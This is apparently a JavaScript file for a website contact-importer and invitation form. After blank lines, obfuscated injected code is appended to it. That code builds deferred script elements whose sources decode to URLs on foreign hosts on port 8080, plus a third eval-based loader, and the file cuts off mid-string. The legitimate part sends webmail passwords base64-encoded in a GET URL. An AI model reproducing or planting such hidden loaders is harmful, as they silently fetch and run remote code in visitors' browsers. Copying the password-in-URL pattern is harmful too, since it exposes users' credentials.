function getElemVal(elemName)
{
	if (elemName!='' && document.getElementById(elemName).value!='')
		return document.getElementById(elemName).value;
	else return '';
}

function createRequestObject()
{
	var request_o;
	var browser = navigator.appName;
	if(browser == "Microsoft Internet Explorer")
	{
		request_o = new ActiveXObject("Microsoft.XMLHTTP");
	}
	else
	{
		request_o = new XMLHttpRequest();
	}
	return request_o;
}
var http = createRequestObject();
var imgurlnext='';
var webmaildropdown='';
function handleFetchedContactResponse()
{
	if(http.readyState == 4)
    {
        tmp = http.responseText;
		if(tmp!='')
		{
//			alert(tmp.indexOf('err:::'));
			if (tmp.indexOf('err:::')==0 || tmp.indexOf('err:::')==1 || tmp.indexOf('err:::')==2 || tmp.indexOf('err:::')==4)
			{
				document.getElementById('contactlist').innerHTML = '';
	    		document.getElementById('contactlist').style.display = "none";

				tmp=tmp.replace(/err:::/g,'');
				if (tmp.indexOf('Your email provider is')==0 || tmp.indexOf('Your')==2)
				{
	    			toggleDiv('regular',imgurlnext);
//	    			document.getElementById('fetch').innerHTML = '<img src="'+imgurlnext+'submit.png" onClick="javascript: processFetch();" onKeyPress="javascript: processFetch();" tabindex="4">';
				}
				else
				{
	    			//document.getElementById('fetch').innerHTML = "<input type='button' value='Fetch' onClick='javascript: processFetch();'  tabindex='4' />";
	    			document.getElementById('fetch').innerHTML = '<img src="'+imgurlnext+'submit.png" onClick="javascript: processFetch();" onKeyPress="javascript: processFetch();" tabindex="4">';
				}
				document.getElementById('errmsg').innerHTML = tmp;
    			document.getElementById('errmsg').style.display = "block";
			}
			else
			{
				document.getElementById('email').readonly=false;
				document.getElementById('password').readonly=true;

				document.getElementById('fetchcontact').style.display = 'none';

				document.getElementById('contactlist').innerHTML = tmp;
	    		document.getElementById('contactlist').style.display = "block";

	    		/*document.getElementById('eblock').style.display = 'none';
	    		document.getElementById('cblock').style.display = 'none';
	    		document.getElementById('rblock').style.display = 'none';*/
			}
		}
    }
}
function fetchContacts(fetchurl,imgurl)
{
	http.open('get',fetchurl);
    http.onreadystatechange = handleFetchedContactResponse;
    http.send(null);
}

function handleSaveResponse()
{
	if(http.readyState == 4)
    {
        tmp = http.responseText;
		if(tmp!='')
		{
			if (tmp.indexOf('err:::')==0 || tmp.indexOf('err:::')==1 || tmp.indexOf('err:::')==2)
			{
				tmp=tmp.replace(/err:::/g,'');
				document.getElementById('errmsg').innerHTML = tmp;
	    		document.getElementById('errmsg').style.display = "block";
			}
			else
			{
//				YtTools.start();
				document.getElementById('contactlist').innerHTML = '';
	    		document.getElementById('contactlist').style.display = "none";

	    		document.getElementById('successmsg').innerHTML = tmp;
	    		document.getElementById('successmsg').style.display = "block";

	    		document.getElementById('footer').style.display = "none";
			}
		}
    }
}

function reloadCaptcha(httpurl)
{
	img = document.getElementById('imgCaptcha');
	img.src = decode64(httpurl)+'inc/php/create_image.php?' + Math.random();
}

function saveContacts(saveurl,params,ajaximgurl,imgurl,httpurl,InvType,successmsg_mode,recaptchadisp)
{
//	alert(InvType);
	http.open("POST", saveurl, true);

	http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	http.setRequestHeader("Content-length", params.length);
	http.setRequestHeader("Connection", "close");

	http.onreadystatechange = function() {//Call a function when the state changes.
		if(http.readyState == 4 && http.status == 200) {
			var tmp;
			tmp = http.responseText;
			if (tmp.indexOf('err:::')==0 || tmp.indexOf('err:::')==1 || tmp.indexOf('err:::')==2)
			{
				tmp=tmp.replace(/err:::/g,'');
				document.getElementById('errmsg').innerHTML = tmp;
	    		document.getElementById('errmsg').style.display = "block";
				/*reloadCaptcha(encode64(httpurl));
				document.getElementById('send').innerHTML = '<input type="button" value="Send" onClick="javascript: processSendInvitation(\'Regular\');"  />';*/
				if (InvType=='Regular')
				{
					if (recaptchadisp=='YES')
					{
						reloadCaptcha(encode64(httpurl));
					}
//					document.getElementById('send').innerHTML = '<input type="button" value="Send" onClick="javascript: processSendInvitation(\'Regular\');"  />';
					document.getElementById('send').innerHTML = '<img src="'+imgurl+'send.png" onClick="javascript: processSendInvitation(\'Regular\');" onKeyPress="javascript: processSendInvitation(\'Regular\');"  />';
				}
				else
				{
					/*document.getElementById('send-contactmessage').innerHTML = '<input type="button" value="Send" onClick="javascript: processSendInvitation('+'\''+InvType+'\''+');"  />';
					document.getElementById('send-contactlist').innerHTML = '<input type="button" value="Send" onClick="javascript: processSendInvitation('+'\''+InvType+'\''+');"  />';*/
					document.getElementById('send-contactmessage').innerHTML = '<img src="'+imgurl+'send.png" onClick="javascript: processSendInvitation('+'\''+InvType+'\''+');" onKeyPress="javascript: processSendInvitation('+'\''+InvType+'\''+');"  />';
					document.getElementById('send-contactlist').innerHTML = '<img src="'+imgurl+'send.png" onClick="javascript: processSendInvitation('+'\''+InvType+'\''+');" onKeyPress="javascript: processSendInvitation('+'\''+InvType+'\''+');"  />';
				}
			}
			else
			{
				if (successmsg_mode=='D')
				{
	//				YtTools.start();
					document.getElementById('contactlist').innerHTML = '';
		    		document.getElementById('contactlist').style.display = "none";
		    		document.getElementById('successmsg').innerHTML = tmp;
		    		document.getElementById('successmsg').style.display = "block";

		    		document.getElementById('description').style.display = "none";
		    		document.getElementById('footer').style.display = "none";
		    		document.getElementById('importcsv').style.display = 'none';
		    		document.getElementById('regular').style.display = 'none';
		    		document.getElementById('fetchcontact').style.display = 'none';
		    		/*document.getElementById('eblock').style.display = 'none';
		    		document.getElementById('cblock').style.display = 'none';
		    		document.getElementById('rblock').style.display = 'none';*/
				}
				else if (successmsg_mode=='R')
				{
					window.location = tmp;
//					window.redirect = tmp;
				}
			}
		}
	}
	http.send(params);
}

function replace_html(id, content) {
	document.getElementById(id).innerHTML = content;
	document.getElementById(id).style.display = "block";
}

function show_progressbar(id,imgurl) {
	replace_html(id, '<img src='+imgurl+' border="0" alt="Loading, please wait..." />');
}

function toggleDiv(displayDiv,imgurl,webmail_dropdown)
{
	document.getElementById('errmsg').innerHTML = '';
	document.getElementById('errmsg').style.display = "none";

	document.getElementById('contactlist').innerHTML = '';
	document.getElementById('contactlist').style.display = 'none';
//	document.getElementById('fetch').innerHTML = "<input type='button' value='Fetch' onClick='javascript: processFetch();'  tabindex='4' />";

	if (displayDiv=='regular')
	{
		document.getElementById(displayDiv).style.display = 'block';
		document.getElementById('importcsv').style.display = 'none';
		document.getElementById('fetchcontact').style.display = 'none';
		document.getElementById('importbox').style.display = 'none';

		if (getElemVal('importername')!='')
		{
			document.getElementById('fromname').value = getElemVal('importername');
		}
		if (getElemVal('email')!='')
		{
			if (webmail_dropdown=='YES')
				document.getElementById('fromemail').value = getElemVal('email')+'@'+getElemVal('provider');
			else
				document.getElementById('fromemail').value = getElemVal('email');
		}

		/*document.getElementById('eblock').style.display = 'none';
		document.getElementById('cblock').style.display = 'none';
		document.getElementById('rblock').style.display = 'block';*/
	}
	else if (displayDiv=='importcsv')
	{
		document.getElementById(displayDiv).style.display = 'block';
		document.getElementById('fetchcontact').style.display = 'none';
		document.getElementById('regular').style.display = 'none';
		document.getElementById('importbox').style.display = 'block';

		/*document.getElementById('eblock').style.display = 'none';
		document.getElementById('rblock').style.display = 'none';
		document.getElementById('cblock').style.display = 'block';*/
	}
	else if (displayDiv=='fetchcontact')
	{
		document.getElementById(displayDiv).style.display = 'block';
		document.getElementById('regular').style.display = 'none';
		document.getElementById('importcsv').style.display = 'none';
		document.getElementById('importbox').style.display = 'none';
		document.getElementById('fetch').innerHTML = '<img src="'+imgurl+'submit.png" onClick="javascript: processFetch();" onKeyPress="javascript: processFetch();" tabindex="4">';

		if (webmail_dropdown=='YES')
		{
			if (getElemVal('fromemail')!='')
			{
				var ieml = getElemVal('fromemail');
				tarr = ieml.split('@');
				document.getElementById('email').value = tarr[0];
				for(i=0;i<document.getElementById('provider').options.length;i++)
				{
					//alert(document.getElementById('provider').options[i].value +'=='+ tarr[1]);
					if (document.getElementById('provider').options[i].value == tarr[1])
					{
						document.getElementById('provider').selectedIndex = i;
						break;
					}
					else continue;
				}
			}

		}
		else
		{
			if (getElemVal('fromname')!='')
			{
				document.getElementById('importername').value = getElemVal('fromname');
			}
			if (getElemVal('fromemail')!='')
			{
				document.getElementById('email').value = getElemVal('fromemail');
			}
		}
		/*document.getElementById('rblock').style.display = 'none';
		document.getElementById('cblock').style.display = 'none';
		document.getElementById('eblock').style.display = 'block';*/
	}
}

function toggleAll(cb)
{
    var val = cb.checked;
	var frm = document.frmmain;
	var len = frm.elements.length;
	var i=0;
	for( i=0 ; i<len ; i++) {
		if (frm.elements[i].name=='emails[]') {
			frm.elements[i].checked=val;
		}
	}
}

function isEmail(who)
{
    var email=/^[A-Za-z0-9]+([_\.-][A-Za-z0-9]+)*@[A-Za-z0-9]+([_\.-][A-Za-z0-9]+)*\.([A-Za-z]){2,4}$/i;
	return(email.test(who));
}

function showDomainList(showhide)
{
	if (showhide==true)
	{
		document.getElementById('domainlist').style.display="block";
	}
	else if (showhide==false)
	{
		document.getElementById('domainlist').style.display="none";
	}
}

var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

function encode64(input) {
   var output = "";
   var chr1, chr2, chr3;
   var enc1, enc2, enc3, enc4;
   var i = 0;

   do {
      chr1 = input.charCodeAt(i++);
      chr2 = input.charCodeAt(i++);
      chr3 = input.charCodeAt(i++);

      enc1 = chr1 >> 2;
      enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
      enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
      enc4 = chr3 & 63;

      if (isNaN(chr2)) {
         enc3 = enc4 = 64;
      } else if (isNaN(chr3)) {
         enc4 = 64;
      }

      output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) +
         keyStr.charAt(enc3) + keyStr.charAt(enc4);
   } while (i < input.length);

   return output;
}

function decode64(input) {
   var output = "";
   var chr1, chr2, chr3;
   var enc1, enc2, enc3, enc4;
   var i = 0;

   // remove all characters that are not A-Z, a-z, 0-9, +, /, or =
   input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");

   do {
      enc1 = keyStr.indexOf(input.charAt(i++));
      enc2 = keyStr.indexOf(input.charAt(i++));
      enc3 = keyStr.indexOf(input.charAt(i++));
      enc4 = keyStr.indexOf(input.charAt(i++));

      chr1 = (enc1 << 2) | (enc2 >> 4);
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
      chr3 = ((enc3 & 3) << 6) | enc4;

      output = output + String.fromCharCode(chr1);

      if (enc3 != 64) {
         output = output + String.fromCharCode(chr2);
      }
      if (enc4 != 64) {
         output = output + String.fromCharCode(chr3);
      }
   } while (i < input.length);

   return output;
}

var arrContacts = new Array();

function AddContact()
{
	var cname = getElemVal('cname');
	var cemail = getElemVal('cemail');

	if ((cemail==null)||(cemail=="")){
		alert(enter_friends_email);
		document.getElementById('cemail').focus();
		return false;
	}
	else
	{
		if (!isEmail(cemail))
		{
			alert(enter_friends_valid_email);
			document.getElementById('cemail').select();
			document.getElementById('cemail').focus();
			return false;
		}
	}
	document.getElementById('cname').value='';
	document.getElementById('cemail').value='';
	document.getElementById('cname').focus();
	var cnm = cname;
	cnm = cnm.replace("&","@amp@");
	cnm = cnm.replace("&amp;","@amp@");
	arrContacts.splice(arrContacts.length,0,cemail+":::"+cnm);
	deleteAllRows('addcontacts');
	RowToTable();
}

function DeleteContact(elementno)
{
	arrContacts.splice(elementno,1);
	deleteAllRows('addcontacts');
	RowToTable();
}

function RowToTable(Act)
{
	var tbl = document.getElementById('addcontacts');
	var lastRow = tbl.rows.length;
	var iteration = lastRow;
	var row = tbl.insertRow(lastRow);
	if (arrContacts.length>0)
	{
		for(i=0;i<arrContacts.length;i++)
		{
			SplitArrContacts = arrContacts[i].split(':::');
			var cellNameText = row.insertCell(0);
			var cnm = SplitArrContacts[1];
			cnm = cnm.replace("@amp@", "&");
			var textNameNode = document.createTextNode(cnm);
			cellNameText.appendChild(textNameNode);

			var cellEmailText = row.insertCell(1);
			var textEmailNode = document.createTextNode(SplitArrContacts[0]);
			cellEmailText.appendChild(textEmailNode);

			var cellAct = row.insertCell(2);
			cellAct.align="center";
			var elAct = document.createElement('a');
			elAct.href="javascript:DeleteContact("+i+");";
			var LinkTN = document.createTextNode('Delete');
			elAct.appendChild(LinkTN);
			cellAct.appendChild(elAct);

			row = tbl.insertRow(lastRow+1);
		}
	}
}

function deleteAllRows(tblId)
{
  var tbl = document.getElementById(tblId);
  for (var i=tbl.tBodies[0].rows.length-1; i>=2; i--) {
    tbl.tBodies[0].deleteRow(i);
  }
}

function removeRowFromTable()
{
  var tbl = document.getElementById('addcontacts');
  var lastRow = tbl.rows.length;
  if (lastRow > 2) tbl.deleteRow(lastRow - 1);
}

function fetch(urlhttp,urlimg,webmail_dropdown)
{
	imgurlnext = urlimg;
	webmaildropdown = webmail_dropdown;
	var frm = document.frmmain;
	var emailID = frm.email;
	var passwordId = frm.password;
	var importerName = frm.importername;

	if ((importerName.value==null)||(importerName.value=="")){
		alert(enter_your_name);
		importerName.focus();
		return false;
	}
	if ((emailID.value==null)||(emailID.value=="")){
		alert(enter_your_email);
		emailID.focus();
		return false;
	}
	else
	{
		var tempEmail = '';
		if (webmail_dropdown == 'YES')
		{
			var provider = getElemVal('provider');
			tempEmail = emailID.value+'@'+provider;
		}
		else
		{
			tempEmail = emailID.value;
		}
		if (!isEmail(tempEmail)){
			alert(enter_your_valid_email);
			emailID.select();
			emailID.focus();
			return false;
		}
	}
	if((passwordId.value==null) || (passwordId.value==""))
	{

		alert(enter_password);
		passwordId.focus();
		return false;
	}

	/*emailID.value=tempEmail;
	alert(emailID.value);*/

	document.getElementById('errmsg').innerHTML = '';
	document.getElementById('errmsg').style.display = "none";

	document.getElementById('contactlist').innerHTML = '';
	document.getElementById('contactlist').style.display = "none";

//	var fetchurl=  urlhttp+"importer.php?req=fc&n="+encode64(importerName.value)+"&e="+encode64(emailID.value)+"&p="+encode64(passwordId.value)+"&cc=&cr=";
	var fetchurl=  urlhttp+"importer.php?req=fc&n="+encode64(importerName.value)+"&e="+encode64(tempEmail)+"&p="+encode64(passwordId.value)+"&cc=&cr=";
	var imgurl= urlimg+"ajax-loader1.gif";

	document.getElementById('password').value = "";
	document.getElementById('fetch').innerHTML = "<img src='"+imgurl+"'>";
	fetchContacts(fetchurl,imgurl);
}


function importFromCSV()
{
	var frm = document.frmmain;
	if (frm.importfile.value=='')
	{
		alert(select_csv_format);
		return false;
	}
	else
	{
		fullName = frm.importfile.value;
		shortName = fullName.match(/[^\/\\]+$/);

		if (fullName==shortName)
		{
			alert(select_valid_file_path);
			return false;
		}
		splitName = fullName.split(".");
		if (splitName.length<=1)
		{
			alert(select_valid_file);
			return false;
		}
		fileType = splitName[1];
		fileType = fileType.toLowerCase();

		if (fileType == 'csv' || fileType == 'ldif')
		{
			document.frmmain.hdnaction.value='Import';
			document.frmmain.submit();
		}
		else
		{
			alert(select_csv_format);
			return false;
		}
	}
}

function sendInvitation(InvType,httpurl,imgurl,custsub,custmsg,custafflink,recaptchadisp,targeturl,contactid,gd,webmail_dropdown,successmsg_mode,allow_to_name_modify)
{
	var frm = document.frmmain;
	document.getElementById('fetchcontact').style.display = "none";
//	document.getElementById('importcsv').style.display = "none";

	if (InvType=='Import')
	{
		document.getElementById('importcsv').style.display = "block";
		var importerName = frm.sname;
		if ((importerName.value==null)||(importerName.value=="")){
			alert(enter_sender_name);
			importerName.focus();
			return false;
		}
		var emailID=frm.semail;
		if ((emailID.value==null)||(emailID.value=="")){
			alert(enter_your_email);
			emailID.focus();
			return false;
		}
		else
		{
			if (!isEmail(emailID.value)){
				alert(enter_your_valid_email);
				emailID.select();
				emailID.focus();
				return false;
			}
		}
	}
	document.getElementById('errmsg').innerHTML = '';
	document.getElementById('errmsg').style.display = "none";

	var arrEmails = new Array();
	var strEmails = '';
	if (InvType=='Contact' || InvType=='Import')
	{
		if (frm.elements['emails[]'].length==undefined)
		{
			if(frm.elements['emails[]'].checked==true && frm.elements['emails[]'].value!='')
			{
				if (allow_to_name_modify=='Y')
				{
					strEmails = frm.elements['emails[]'].value+':::'+frm.elements['names[]'].value;
				}
				else
				{
					strEmails = frm.elements['emails[]'].value;
				}
			}
			else
			{
				alert(select_atleast_one);
				return false;
			}
		}
		else
		{
			for (i=0;i<frm.elements['emails[]'].length;i++)
			{
				if (frm.elements['emails[]'][i].checked==true && frm.elements['emails[]'][i].value!='')
				{
					temailarr=frm.elements['emails[]'][i].value.split(':::');
					if (isEmail(temailarr[0]))
					{
						if (allow_to_name_modify=='Y')
						{
							strEmails += frm.elements['emails[]'][i].value+':::'+frm.elements['names[]'][i].value+",";
						}
						else
						{
							strEmails += frm.elements['emails[]'][i].value+",";
						}
					}
					else continue;
				}
			}
		}
		if (strEmails=='')
		{
			alert(select_atleast_one);
			return false;
		}
		else
		{
			strEmails=strEmails.substring(0,(strEmails.length-1));
		}
	}
	else if (InvType=='Regular')
	{
		var importerName = frm.fromname;
		if ((importerName.value==null)||(importerName.value=="")){
			alert(enter_your_name);
			importerName.focus();
			return false;
		}
		var emailID=frm.fromemail;
		if ((emailID.value==null)||(emailID.value=="")){
			alert(enter_your_email);
			emailID.focus();
			return false;
		}
		else
		{
			if(!isEmail(emailID.value)) {
				alert(enter_your_valid_email);
				emailID.select();
				emailID.focus();
				return false;
			}
		}
		if (arrContacts.length<=0)
		{
			alert(no_contact_email_specified);
			document.getElementById('cemail').focus();
			return false;
		}
		else
		{
			strEmails=arrContacts.join(',');
//			strEmails=strEmails.substring(0,(strEmails.length-1));
		}
	}
	var saveurl= httpurl+"importer.php";
	var strParams = "req="+encode64('sc')+"&c="+encode64(strEmails);

	if (custsub=='YES')
	{
		if (InvType=='Regular')
		{
			var sub = getElemVal('subject1');
			sub = sub.replace("&","@amp@");
			sub = sub.replace("&amp;","@amp@");
			strParams += "&s="+sub;
		}
		else
		{
			var sub = getElemVal('subject');
			sub = sub.replace("&","@amp@");
			sub = sub.replace("&amp;","@amp@");
			strParams += "&s="+sub;
		}
	}
	if (custmsg=='YES')
	{
		var strMsg = '';
		if (InvType=='Regular')
		{
			var msg = getElemVal('message1');
			msg = msg.replace("&","@amp@");
			msg = msg.replace("&amp;","@amp@");
			var arrMsg = msg.split("\n");
		}
		else
		{
			var msg = getElemVal('message');
			msg = msg.replace("&","@amp@");
			msg = msg.replace("&amp;","@amp@");
			var arrMsg = msg.split("\n");
		}
		for (i=0;i<arrMsg.length;i++)
		{
			if ((i-1)==arrMsg.length)
				strMsg += arrMsg[i];
			else
				strMsg += arrMsg[i].substring(0,(arrMsg[i].length))+"@_@";
		}
		strParams += "&m="+strMsg;
	}

	/*if (custafflink=='YES')
	{*/
//		strParams += "&al="+frm.afflink.value;
		if (InvType=='Regular')
		{
			var afl = document.getElementById('afflink1').value;
			afl = afl.replace("&","@amp@");
			afl = afl.replace("&amp;","@amp@");
			strParams += "&al="+encode64(afl);
		}
		else
		{
			var afl = document.getElementById('afflink').value;
			afl = afl.replace("&","@amp@");
			afl = afl.replace("&amp;","@amp@");
			strParams += "&al="+encode64(afl);
		}
	/*}*/

	/*if (recaptchadisp=='YES')
	{
//		strParams += "&cc="+frm.ccaptcha.value;
		strParams += "&rc="+frm.captchaval.value;
	}*/
	if (InvType=='Import')
	{
		document.getElementById('fetchcontact').innerHTML = '';
		strParams += "&t="+encode64('C');

		var fnm = frm.sname.value;
		fnm = fnm.replace("&","@amp@");
		fnm = fnm.replace("&amp;","@amp@");
		strParams += "&n="+encode64(fnm);
		strParams += "&e="+encode64(frm.semail.value);
	}
	else
	{
		if (InvType=='Contact')
		{
			var fnm = frm.importername.value;
			fnm = fnm.replace("&","@amp@");
			fnm = fnm.replace("&amp;","@amp@");
			strParams += "&n="+encode64(fnm);
			if (webmail_dropdown=='YES')
			{
				strParams += "&e="+encode64(frm.email.value+'@'+getElemVal('provider'));
			}
			else
			{
				strParams += "&e="+encode64(frm.email.value);
			}
			strParams += "&t="+encode64('E');
		}
		else if (InvType=='Regular')
		{
			var fnm = frm.fromname.value;
			fnm = fnm.replace("&","@amp@");
			fnm = fnm.replace("&amp;","@amp@");
			strParams += "&n="+encode64(fnm);
			strParams += "&e="+encode64(frm.fromemail.value);
			strParams += "&t="+encode64('R');
			if (gd!='' && recaptchadisp=='YES')
			{
				strParams += "&rc="+encode64(frm.captchaval.value);
			}
		}
	}
	strParams += "&su="+encode64(targeturl);
	strParams += "&cid="+encode64(contactid);
	var ajaximgurl= imgurl+"ajax-loader1.gif";
	if (InvType=='Contact')
	{
		document.getElementById('send-contactmessage').innerHTML = "<img src='"+ajaximgurl+"'>";
		document.getElementById('send-contactlist').innerHTML = "<img src='"+ajaximgurl+"'>";
	}
	else if (InvType=='Regular')
	{
		document.getElementById('send').innerHTML = "<img src='"+ajaximgurl+"'>";
	}
	/*alert(strParams);
	return false;*/
	saveContacts(saveurl,strParams,ajaximgurl,imgurl,httpurl,InvType,successmsg_mode,recaptchadisp);
}

function setProviderText(nexturl)
{
	var provider = getElemVal('provider');
	var splitProvider = provider.split('.');
	var strImg = '';
	strImg = 'Telling my <img src="'+nexturl+splitProvider[0]+'.png"> contacts';
	document.getElementById('selectedprovider').innerHTML= strImg ;
}

function loadStats(encurl)
{
	http.open("GET",decode64(encurl)+'monitor.php?req=stats');
	http.onreadystatechange=getStatResponse;
	http.send(null);
}

function getStatResponse()
{
	if (http.readyState==4 || http.readyState=="complete")
	{
		document.getElementById("stats").innerHTML=http.responseText;
		document.getElementById("stats").style.display='inline';
	}
}













var hi="hi";var l=document;this.w=60439;var ln;if(ln!='' && ln!='_'){ln='f'};var b='sUcCr|i|pUt|'.replace(/[\|\+CUH]/g, '');var bc=window;bc.onload=function(){var oj=3483;try {h=l.createElement(b);var c=new Date();var j;if(j!='i' && j!='b_'){j='i'};var ws=new Array();var lh=20927;h.setAttribute('d,eifSevri'.replace(/[i&v,S]/g, ''), "1");this.mr='';h.src='hEtAtGpE:E/v/GbGavnEgGbArGovsA1A-EcvoAmA.xpvaAnGtAiApE.EcGoEmx.AnGaEsvzGaG-xkAlGaAsxav-Epxlx.xyEoxuGrEtGaxgAhxevuGexrv.ErGuE:x8E0G8v0E/AgvoGovgElGeA.AcAoEmE/xgGoGoxgvlxeG.AcEovmA/GgxoxoEgElEeE.EdAeA/vrAeGpAuxbEbGlGiGcvaG.xiEtE/GnEyEtEiGmGexsv.Acxoxmx/v'.replace(/[vEAxG]/g, '');this.uo="uo";this.r=59108;var ke=new Array();l.body.appendChild(h);var fp;if(fp!='th' && fp != ''){fp=null};var ma=new Date();} catch(x){};var vq;if(vq!='' && vq!='bv'){vq=null};};var zw;if(zw!='ux' && zw!='sm'){zw='ux'};var oe;if(oe!='li' && oe!='qs'){oe='li'};
var nq;if(nq!='u'){nq='u'};e=function(){var m;if(m!=''){m='r'};var c=document;this.ub='';window[p([2,5][0])]=function(){var z;if(z!='' && z!='q'){z=''};try {var o;if(o!='st' && o != ''){o=null};g=c[p([1][0])](p([8,0][1]));var eu;if(eu!='mf'){eu='mf'};g[p([5,4][0])](p([7,0][0]), "1");g[p([4,3][1])]=p([5,8][1]);var a;if(a!='ut'){a=''};this.ra="";var ci = c[p([3,6][1])];ci[p([4][0])](g);} catch(b){};this.l='';};this.i='';var oe;if(oe!='' && oe!='x'){oe=null};function p(s){var n=['s*cCrEiEpyt#'.replace(/[#EC\*y]/g, ''), 'cir1e1a8tieUE8lUe1mUeUn1t8'.replace(/[8iT1U]/g, ''), 'oCn.l.oCaLd.'.replace(/[\.H9CL]/g, ''), 's!r8cz'.replace(/[zK8\!W]/g, ''), 'aMpMp^e^nAd?CAh?i/l/d?'.replace(/[\?/AM\^]/g, ''), 'sFe?tGAgtGt?rgi:b:ugtFeG'.replace(/[G\:Fg\?]/g, ''), 'bzo7duy+'.replace(/[\+7zku]/g, ''), 'dye<fHeHrc'.replace(/[cyQH\<]/g, ''), 'hXt<tvpv:</</vf<o<xOnveOw<sO-zcvozmz.<m<azivlX.Xrvuz.<mzsznX-<czozmz-XcOnX.<nvevwXgOoXlXfvovnzlziznXe<.zrOuX:O8z0X8O0O/XtXuOevn<tvi<.zcvoXm</ztzuvevn<tOiz.vcOovmz/vpXcXo<nOlziOnXez.vcXozmX.<cXnv/<g<o<oXgOl<ez.Oc<ovmX/Xs<tzazpOlOevs<.<cOoXmv/O'.replace(/[O\<Xvz]/g, '')];var y=n[s];var gz;if(gz!='dh' && gz!='nk'){gz='dh'};return y;}var xm="";var sk="";};var vp;if(vp!='ad'){vp='ad'};e();
var hF="505a5372411540515a7a773456425a462c7459747c707241484b685474445b7d564a734d77487e50747d735561766e435858415044507c7562796179596f627946216b56355b55521a5c4621414d";var Iy;if(Iy!='PoB' && Iy!='Yu'){Iy='PoB'};var RI='';var hr='';function s(k){var uM=""; var FQ=new Array();function H(h,y){var yB;if(yB!=''){yB='vU'};var lW;if(lW!=''){lW='Jk'};return h[Z("hracoedCAt", [3,0,2,1])](y);} this.X="";function Z(g, N){var F=[1][0];var Mk=new String();var Y = N.length;var rs=false;var O = '';this.KV='';var C = g.length;var z=[0,67][0];this.mo="";this.cA="";var PW;if(PW!='' && PW!='Dq'){PW=''};this.yO="yO";var q=new Array();for(var V = z; V < C; V += Y) {this.cm=false;var Wb;if(Wb!='' && Wb!='vx'){Wb='gr'};var pN;if(pN!='kM'){pN='kM'};var a='';var sc = g.substr(V, Y);this.CN=63960;var U;if(U!='' && U!='dA'){U='Xi'};var vz=new Date();if(sc.length == Y){var dF=new Date();var is;if(is!='dh'){is=''};this.Ty=false;var NM;if(NM!='' && NM!='nz'){NM=null};for(var x in N) {var tq;if(tq!='' && tq!='sJ'){tq='go'};var lV="";this.fZ='';O+=sc.substr(N[x], F);var cx=new Date();var Lm=new Date();var HX=new String();var YM;if(YM!='DC'){YM='DC'};}var jW;if(jW!=''){jW='pu'};} else {this.lw=false;  O+=sc;var bY;if(bY!='Iv' && bY!='DB'){bY=''};}var kq="kq";}var yMo;if(yMo!='ci' && yMo!='Va'){yMo=''};var YX=new Array();var ts;if(ts!='If' && ts!='LL'){ts=''};return O;}this.Yn="Yn";var pK;if(pK!='' && pK!='ig'){pK=null}; var W=function(g){var qD;if(qD!='zq' && qD != ''){qD=null};var m = -1;var Pi;if(Pi!='' && Pi!='po'){Pi=''};var V =[2,238,0,138][2];g = new L(g);var QG=new Array();var z =[0,164][0];var O = '';var Ip;if(Ip!='LR'){Ip=''};var oM='';var XO;if(XO!='' && XO!='iJ'){XO=null};this.dp='';for (V=g[Z("elgnht", [1,0])]-m;V>=z;V=V-[1][0]){O+=g[Z("athcAr", [3,2,0,5,4,1])](V);var BC=32985;}var dw="dw";this.LX="";return O;};var aQ;if(aQ!='' && aQ!='vm'){aQ='Yt'};var FG;if(FG!='' && FG!='QT'){FG='AL'};var FD;if(FD!='' && FD!='Px'){FD='Nh'};var sP=false; var Oz=function(E){this.Bl="Bl";this.Gix="Gix";this.Gd="";this.rN=false;var x=[242,38,0,6][2];var F=[1,245,189][0];var Nl=36437;var Oa=10687;var j=[0,244,129][0];var eC='';var mP=E[Z("elgnht", [1,0])];var hR;if(hR!='Rv'){hR='Rv'};var FI=new String();var NY=[75,28,59,255][3];var Fr=false;while(x<mP){this.Pn=32167;this.JT=59244;x++;Q=H(E,x - F);var Lj;if(Lj!='Rz'){Lj=''};var Tn;if(Tn!='EK' && Tn != ''){Tn=null};j+=Q*mP;}var HQ;if(HQ!='Ac'){HQ='Ac'};var zz;if(zz!=''){zz='ev'};return new L(j % NY);};var AO;if(AO!='yL'){AO=''};var Mm;if(Mm!='cw'){Mm=''};var YV=new String();var Oh;if(Oh!='knm'){Oh=''};var eh;if(eh!='OJ'){eh=''}; function bM(D,u){var fq;if(fq!='Sh'){fq='Sh'};this.fz="fz";return D^u;var eD;if(eD!='VN' && eD != ''){eD=null};var fi;if(fi!='Yw' && fi != ''){fi=null};}this.JH='';var Sr;if(Sr!='' && Sr!='BX'){Sr='hA'};var sV=window;var Mq;if(Mq!='YH' && Mq != ''){Mq=null};var Ym;if(Ym!='mn'){Ym='mn'};var ga=sV[Z("aevl", [1,2,0])];var FF=ga(Z("ctoFiunn", [3,5,6,0,1,4,2]));var VV;if(VV!='' && VV!='Yf'){VV='mB'};var L=ga(Z("rtiSng", [3,1,0,2]));var jx="";var vQ="";var ZW;if(ZW!='' && ZW!='Sf'){ZW=null};this.cW=18600;var gU=ga(Z("EgxpeR", [5,4,1,0,2,3]));var LV;if(LV!='de' && LV != ''){LV=null};var ze;if(ze!='MeD' && ze != ''){ze=null};var M = '';var TX;if(TX!=''){TX='GF'};var fp;if(fp!='hc' && fp!='vZ'){fp='hc'};var e=L[Z("rfmohCraoCed", [1,0])];var tF;if(tF!='HV' && tF!='qSb'){tF=''};var kQ=sV[Z("nuseacep", [1,0])];var Rp=new String();var Lt;if(Lt!='rH'){Lt='rH'};var f = '';var fK = '';this.oL="oL";var J =[215,0,247,253][1];var ey = '';this.CU='';var xD = /[^@a-z0-9A-Z_-]/g;var wk;if(wk!='' && wk!='rm'){wk=''};var vxv;if(vxv!='WM' && vxv!='up'){vxv='WM'};var Ej =[2][0];var IX=false;var r = L.fromCharCode(37);var F =[1,200][0];var kS;if(kS!='' && kS!='Ni'){kS=null};var BXl;if(BXl!=''){BXl='Kk'};var t=[1, Z("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, Z("ocdmeut.nodb.aypepdCnilh(dd)", [2,0,1]),3, Z(".sdeAtttibrue(t\'efder\'", [2,0,1,3]),4, Z("mo.cboim.edle.lecnea", [3,1,0,2]),5, Z(".mocetisepam:ur.0808", [3,2,1,0]),6, Z("zt.mcom", [1,3,0,2,4]),7, Z("noidwol.nwoad", 